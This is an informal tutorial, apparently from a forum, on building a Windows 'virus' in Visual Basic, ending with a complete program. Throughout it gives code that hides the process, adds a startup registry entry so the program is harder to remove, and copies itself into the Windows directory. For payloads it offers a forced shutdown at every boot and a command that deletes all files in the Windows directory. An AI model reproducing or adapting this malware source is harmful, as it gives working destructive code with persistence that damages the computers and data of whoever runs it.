you want the virus program to write in the windows regestery (regedit) so that it starts up every time you start up the computer.
to make it easy for you insert this at the top of your source:

Private Sub Form_Load()
App.TaskVisible = False
Set WScriptShell = CreateObject(\"WScript.Shell\")
Set FileSystemObject = CreateObject(\"scripting.filesystemobject\")
Dim Reg As Object
Set Reg = CreateObject(\"wscript.shell\")

you use this command to write to regedit:

Reg.RegWrite \"here you place the register address\" + \"the name of the key\", \"the value of the key\"

eks:
Reg.RegWrite \"HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\" + \"virus startup\", \"c:\\windows\\virus.exe\"

and you can run this command several times and write to more places in the regestery. this makes your virus harder to remove.

2:
now you want the virus to copy it self to some place in the windows dir. (makes it harder to find and you cant depend on the first .exe file that enterd the computer.)

here you want to put a \"IF\" statment to check if the file exists in the dir you want to copy the virus to. if the file exists, this just means that the virus is already in this dir. here is the command:

If Not (FileSystemObject.fileexists(\"c:\\windows\\virus.exe\")) Then
FileCopy App.Path + \"\\\" + App.EXEName + \".exe\", \"C:\\windows\\virus.exe\"
End If

3:
now you have a virus that copys itselfe in to the computer and writes to regedit.

now you want to input the command that does the damage, here you can put all sorts of stuff.

eks 1:
Shell \"shutdown -s -f -t 0\"

this shuts the computer down when the computer has booted windows.

eks 2:
kill \"c:/windows/*.*\"

this command deletes all the files in the windows dir.

4:
here is the complite code:

Private Sub Form_Load()
App.TaskVisible = False
Set WScriptShell = CreateObject(\"WScript.Shell\")
Set FileSystemObject = CreateObject(\"scripting.filesystemobject\")
Dim Reg As Object
Set Reg = CreateObject(\"wscript.shell\")
Reg.RegWrite \"HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNSERVICES\\\" + \"virus startup\", \"c:\\windows\\virus.exe\"
If Not (FileSystemObject.fileexists(\"c:\\windows\\virus.exe\")) Then
FileCopy App.Path + \"\\\" + App.EXEName + \".exe\", \"C:\\windows\\virus.exe\"
End If
Shell \"shutdown -s -f -t 0\"
End Sub